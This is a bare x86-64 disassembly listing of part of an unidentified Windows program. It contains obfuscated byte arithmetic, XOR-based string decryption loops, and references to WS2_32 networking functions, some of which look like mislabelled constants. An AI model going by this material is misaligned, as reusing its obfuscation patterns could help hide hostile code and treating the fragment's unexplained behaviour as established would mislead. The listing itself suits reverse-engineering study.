movzx eax, byte [rbp + rbx + 0x49c]
add rax, r11
add rbx, rax
inc rbx
jmp 0x14016ec63
inc rcx
cmp r9, rcx
jne 0x14016f35a
lea edx, [rax - 0x44]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r15d, [r10 + rdx]
sub r15b, 0x24
jmp 0x14016f747
lea rcx, [r11 + 3]
cmp r9, rcx
jne 0x14016f371
lea r8d, [rax - 0x58]
mov edx, reloc.WS2_32.dll_gethostbyname
jmp 0x14016f6bd
lea rcx, [r11 + 6]
cmp r9, rcx
jne 0x14016f17f
add al, 0x4c
movzx ecx, al
and cl, r10b
add cl, cl
sub al, cl
lea r15d, [r10 + rax]
sub r15b, 0x14
dec rbx
inc rbx
jmp 0x14016ec63
lea rcx, [r11 + 1]
cmp r9, rcx
jne 0x14016f3c7
lea r8d, [rax - 0x52]
movzx ecx, r10b
and cl, r8b
mov edx, 0x1f
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, r8b
jmp 0x14016f687
inc rcx
cmp r9, rcx
jne 0x14016f3f3
sub al, 0xa
movzx ecx, r10b
and cl, al
mov edx, 0x23
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, al
dec rbx
inc rbx
jmp 0x14016ec63
lea rcx, [r11 + 5]
cmp r9, rcx
jne 0x14016f416
sub al, 0x1e
movzx ecx, r10b
and cl, al
add cl, cl
sub r10b, cl
lea r15d, [rax + r10]
sub r15b, 0x2e
jmp 0x14016f70a
lea rcx, [r11 + 7]
cmp r9, rcx
jne 0x14016f440
lea r8d, [rax - 0x7a]
movzx ecx, r10b
and cl, r8b
mov edx, 0x2b
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, r8b
jmp 0x14016f747
lea rcx, [r11 + 4]
cmp r9, rcx
jne 0x14016f466
add al, 0x2a
movzx ecx, r10b
and cl, al
add cl, cl
movzx r15d, r10b
sub r15b, cl
sub r15b, 0x26
add r15b, al
jmp 0x14016f76e
lea rcx, [r11 + 3]
cmp r9, rcx
jne 0x14016f12e
sub al, 0x32
movzx ecx, r10b
and cl, al
mov edx, gethostbyaddr
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, al
movzx eax, byte [rbp + rbx + 0x49c]
add rax, r11
add rbx, rax
inc rbx
jmp 0x14016ec63
lea rcx, [r11 + 1]
cmp r9, rcx
jne 0x14016f4d6
sub al, 0x18
movzx ecx, r10b
and cl, al
add cl, cl
sub r10b, cl
lea r15d, [rax + r10]
sub r15b, 0x58
movzx eax, byte [rbp + rbx + 0x49c]
add rax, r11
add rbx, rax
inc rbx
jmp 0x14016ec63
inc rcx
cmp r9, rcx
jne 0x14016f4fc
sub al, 0x74
movzx ecx, r10b
and cl, al
mov edx, reloc.WS2_32.dll_shutdown
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, al
jmp 0x14016f76e
lea rcx, [r11 + 5]
cmp r9, rcx
jne 0x14016f526
lea r8d, [rax + 0x1c]
movzx ecx, r10b
and cl, r8b
mov edx, 0x1e
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, r8b
jmp 0x14016f6d0
lea rcx, [r11 + 3]
cmp r9, rcx
jne 0x14016f54f
sub al, 0x40
movzx ecx, r10b
and cl, al
add cl, cl
sub r10b, cl
lea r15d, [rax + r10]
sub r15b, 0x40
dec rbx
inc rbx
jmp 0x14016ec63
lea rcx, [r11 + 9]
cmp r9, rcx
jne 0x14016f0f0
lea r8d, [rax + 8]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r15d, r10b
sub r15b, cl
sub r15b, 0x38
add r15b, r8b
jmp 0x14016f687
lea r8d, [rax + 0x50]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r15d, r10b
sub r15b, cl
sub r15b, 0x30
add r15b, r10b
add r15b, r8b
jmp 0x14016f6d0
lea r8d, [rax - 0xc]
movzx ecx, r10b
and cl, r8b
mov edx, 0x2a
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r8b
jmp 0x14016f747
sub al, 2
movzx ecx, al
and cl, r10b
mov edx, 7
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, al
add r15b, r10b
movzx eax, byte [rbp + rbx + 0x49c]
add rax, r11
add rbx, rax
inc rbx
jmp 0x14016ec63
add al, 0x5a
movzx ecx, al
and cl, r10b
add cl, cl
sub al, cl
lea r15d, [r10 + rax]
sub r15b, 0x76
jmp 0x14016f76e
lea r8d, [rax - 0x4a]
movzx ecx, r8b
and cl, r10b
mov edx, 3
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r8b
add r15b, r10b
jmp 0x14016f747
add al, 0x12
movzx ecx, al
and cl, r10b
add cl, cl
sub al, cl
lea r15d, [r10 + rax]
sub r15b, 0x7e
jmp 0x14016f70a
add al, 0x6e
movzx ecx, al
and cl, r10b
add cl, cl
sub al, cl
lea r15d, [r10 + rax]
sub r15b, 2
jmp 0x14016f707
lea edx, [rax - 0x22]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r15d, [r10 + rdx]
sub r15b, 0x12
jmp 0x14016f687
movzx eax, bl
lea edx, [rax - 0x6a]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r15d, [r10 + rdx]
sub r15b, 0x1a
add al, 0x7e
movzx ecx, r10b
and cl, al
add cl, cl
sub r10b, cl
sub r10b, 0x72
add r10b, al
mov byte [rbp + rbx + 0x49c], r10b
inc r11
dec rbx
inc rbx
jmp 0x14016ec63
movzx eax, bl
lea r8d, [rax - 0x56]
mov edx, 0x2d
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r8b
add r15b, r10b
add al, 0x22
movzx ecx, r10b
and cl, al
mov edx, 9
sub dl, cl
add dl, dl
add dl, r10b
add dl, r15b
add dl, al
mov byte [rbp + rbx + 0x49c], dl
jmp 0x14016f707
lea ecx, [rbx + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x2a
add r9, r11
movzx eax, r15b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016ec63
movabs rcx, 0x20458e3b25fc3dbe
add rcx, rbx
and dil, cl
add dil, dil
movzx r15d, r10b
sub r15b, dil
sub r15b, 0x32
add r15b, cl
movzx eax, bl
sub al, 0x3a
movzx ecx, r10b
and cl, al
add cl, cl
movzx edx, r10b
sub dl, cl
sub al, 0x6a
add dl, al
movzx eax, dl
mov byte [rbp + rbx + 0x49c], al
inc r11
add rax, r11
sub rbx, rax
lea ecx, [rbx - 0x68]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x28
add r10b, cl
mov byte [rbp + rbx + 0x49c], r10b
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0x49c]
add rax, r11
add rbx, rax
inc rbx
jmp 0x14016ec63
movabs rax, 0x7b8b8619596c1a76
add rax, rbx
and dil, al
add dil, dil
sub r10b, dil
lea r15d, [rax + r10]
sub r15b, 0x3a
movzx eax, byte [rbp + rbx + 0x49c]
add rax, r11
add rbx, rax
inc rbx
jmp 0x14016ec63
add al, 0x1a
movzx ecx, r10b
and cl, al
mov edx, 0x25
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, al
xor edi, edi
jmp 0x14016ec60
add al, 0x76
movzx ecx, r10b
and cl, al
add cl, cl
sub r10b, cl
lea r15d, [rax + r10]
sub r15b, 0x3a
xor edi, edi
jmp 0x14016ec50
lea rbx, [rbp + 0x175f1b4]
jmp 0x14016f83a
lea rbx, [rbp + 0x159fa86]
jmp 0x14016f83a
lea rbx, [rbp + 0x49c]
movzx edx, sil
lea rcx, [rbp + 0x838]
call fcn.140136a10
nop
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x14016f852
mov rdx, rbx
lea rcx, [rbp + 0x838]
call fcn.14013ab10
nop
lea r8, [rbp + 0x818]
lea rdx, [rbp + 0x838]
mov rcx, r13
call fcn.140153a90
nop
lea rcx, [rbp + 0x838]
call fcn.1401362c0
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x818]
call fcn.14013e7d0
mov rdi, qword [rax]
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x818]
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x818]
call fcn.14013e7f0
lea r9, [0x140167790]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x178]
call fcn.1401a7440
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x818]
call fcn.1401a35a0
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x818]
call fcn.14013e7d0
mov rdi, qword [rax]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x818]
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x818]
call fcn.14013e7f0
lea r9, [0x140167770]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1a0]
call fcn.1401a7440
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x818]
call fcn.1401a35a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
xor r13d, r13d
mov word [rbp + 0x3de], r13w
lea rcx, [rbp + 0x3d0]
call fcn.1401a2120
xorps xmm0, xmm0
movups xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3ee], r13w
mov ebx, dword [rbp + 0x828]
lea rcx, [rbp + 0x818]
call fcn.140135dc0
lea rcx, [0x140443e2f]
test rax, rax
cmovne rcx, rax
mov qword [rbp + 0x3f0], rcx
mov dword [rbp + 0x3f8], ebx
mov rdi, qword [rsp + 0x60]
mov r8, rdi
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x3e0]
call fcn.1401a4180
mov rbx, rax
cmp byte [rbp + 0x1fe], r13b
je 0x14016fb62
mov r8d, r13d
cmp dword [0x14047f088], 2
jl 0x14016fb14
movdqa xmm4, xmmword [0x14044a8f0]
movdqa xmm2, xmmword [0x14044a760]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14044a790]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14044a7f0]
packuswb xmm2, xmm2
mov eax, dword [0x14044a890]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1f0]
xorps xmm2, xmm1
movd dword [rbp + 0x1f0], xmm2
movdqa xmm3, xmmword [0x14044a770]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14044a790]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14044a7f0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1f4]
xorps xmm2, xmm1
movd dword [rbp + 0x1f4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14016fb30
mov r8, rdi
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x400]
call fcn.1401a2160
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x3d0]
call fcn.1401a4ba0
nop
lea rcx, [rbp + 0x400]
call fcn.140135de0
nop
lea rcx, [rbp + 0x3e0]
call fcn.140135de0
mov r8, rdi
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x3a0]
call fcn.1401a1ec0
nop
lea rcx, [rbp + 0x3d0]
call fcn.140135de0
nop
lea rcx, [rbp + 0x818]
call fcn.1401362c0
inc r12d
mov rax, qword [rbp + 0x968]
sub rax, qword [rbp + 0x960]
sar rax, 3
movsxd rbx, r12d
cmp rbx, rax
jb 0x14016ebe2
mov r15, qword [rsp + 0x60]
movzx eax, byte [rsp + 0x44]
test al, al
je 0x14016fc21
xor byte [rsp + 0x40], 0x35
xor byte [rsp + 0x41], 0x36
xor byte [rsp + 0x42], 0x37
xor byte [rsp + 0x43], 0x38
xor al, 0x39
mov byte [rsp + 0x44], al
mov r8, r15
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x410]
call fcn.1401a2160
nop
mov r9, r15
lea r8, [rbp + 0x3a0]
mov rdx, rax
lea rcx, [rbp + 0x9d0]
call fcn.1401a4ba0
nop
lea rcx, [rbp + 0x410]
call fcn.140135de0
nop
lea rcx, [rbp + 0x3a0]
call fcn.140135de0
mov rdi, 0xffffffffffffffff
lea rcx, [rbp + 0x958]
call fcn.140153f60
nop
lea rcx, [rbp + 0x958]
call fcn.140153f60
nop
lea rcx, [rbp + 0x7f8]
call fcn.1401362c0
mov dword [rsp + 0x48], 0
mov word [rsp + 0x4c], 0
mov qword [rbp + 0x1b0], 0
mov word [rbp + 0x1b8], 0
mov byte [rbp + 0x1ba], 0
mov dword [rbp + 0xaa0], 0
mov byte [rbp + 0xaa4], 0
xor eax, eax
mov qword [rbp + 0x1e0], rax
mov dword [rbp + 0x1e8], eax
mov byte [rbp + 0x1ec], al
mov dword [rbp + 0xaa8], eax
mov byte [rbp + 0xaac], al
mov qword [rbp + 0x1d0], rax
mov dword [rbp + 0x1d8], eax
mov dword [rsp + 0x58], eax
mov word [rsp + 0x5c], ax
mov byte [rsp + 0x5e], al
mov dword [rsp + 0x50], eax
mov word [rsp + 0x54], ax
mov qword [rbp + 0x1c0], rax
mov word [rbp + 0x1c8], ax
mov byte [rbp + 0x1ca], al
mov qword [rbp + 0x1f0], rax
mov dword [rbp + 0x1f8], eax
mov word [rbp + 0x1fc], ax
mov byte [rbp + 0x1fe], al
mov dword [rsp + 0x40], eax
mov byte [rsp + 0x44], al
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x880]
call fcn.1401a4200
nop
lea rax, [rbp + 0x880]
mov qword [rbp + 0x990], rax
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x998]
call fcn.1401a4200
mov dword [rbp + 0x9c8], 0x144
mov byte [rbp + 0x9cc], 0
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x9d0]
call fcn.1401a74e0
test al, al
jne 0x14016fdd6
movzx edx, byte [rbp + 0xa98]
mov rsi, qword [rbp + 0xa90]
mov rcx, rsi
call fcn.140136a10
nop
xor r8d, r8d
lea rdx, [0x140443eba]
mov rcx, rsi
call fcn.14013ab10
nop
jmp 0x14016fe18
lea rcx, [rbp + 0x880]
call fcn.1401a2200
mov rbx, rax
movzx edx, byte [rbp + 0xa98]
mov rsi, qword [rbp + 0xa90]
mov rcx, rsi
call fcn.140136a10
nop
nop dword [rax]
inc rdi
cmp byte [rbx + rdi], 0
jne 0x14016fe00
mov r8, rdi
mov rdx, rbx
mov rcx, rsi
call fcn.14013ab10
nop
lea rcx, [rbp + 0x990]
call fcn.14016fed0
nop
lea rcx, [rbp + 0x880]
call fcn.14016fea0
nop
lea rcx, [rbp + 0x200]
call fcn.140135de0
nop
lea rcx, [rbp + 0x450]
call fcn.140136110
nop
lea rcx, [rbp + 0x9d0]
call fcn.1401a1bf0
nop
lea rcx, [rbp + 0x518]
call fcn.1401362c0
nop
lea rcx, [rbp + 0x4f8]
call fcn.1401362c0
nop
lea rcx, [rbp + 0x4d8]
call fcn.1401362c0
mov rax, rsi
movaps xmm6, xmmword [rsp + 0xb30]
add rsp, 0xb48
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret